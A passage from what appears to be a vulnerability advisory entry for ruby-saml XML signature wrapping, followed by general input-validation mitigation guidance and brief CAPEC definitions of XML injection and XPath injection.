"type": "CVSS_V3"
}
],
"summary": "Ruby-saml allows attackers to perform XML signature wrapping attacks "
}
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
CAPEC-250: XML Injection
An attacker utilizes crafted XML user-controllable input to probe, attack, and inject data into the XML database, using techniques similar to SQL injection. The user-controllable input can allow for unauthorized viewing of data, bypassing authentication or the front-end application for direct XML database access, and possibly altering database information.
CAPEC-83: XPath Injection
An attacker can craft special user-controllable input consisting of XPath expressions to inject the XML database and bypass authentication or glean information that they normally would not be able to. XPath Injection enables an attacker to talk directly to the XML database, thus bypassing the application completely. XPath Injection results from the failure of an application to properly sanitize input used as part of dynamic XPath expressions used to query an XML database.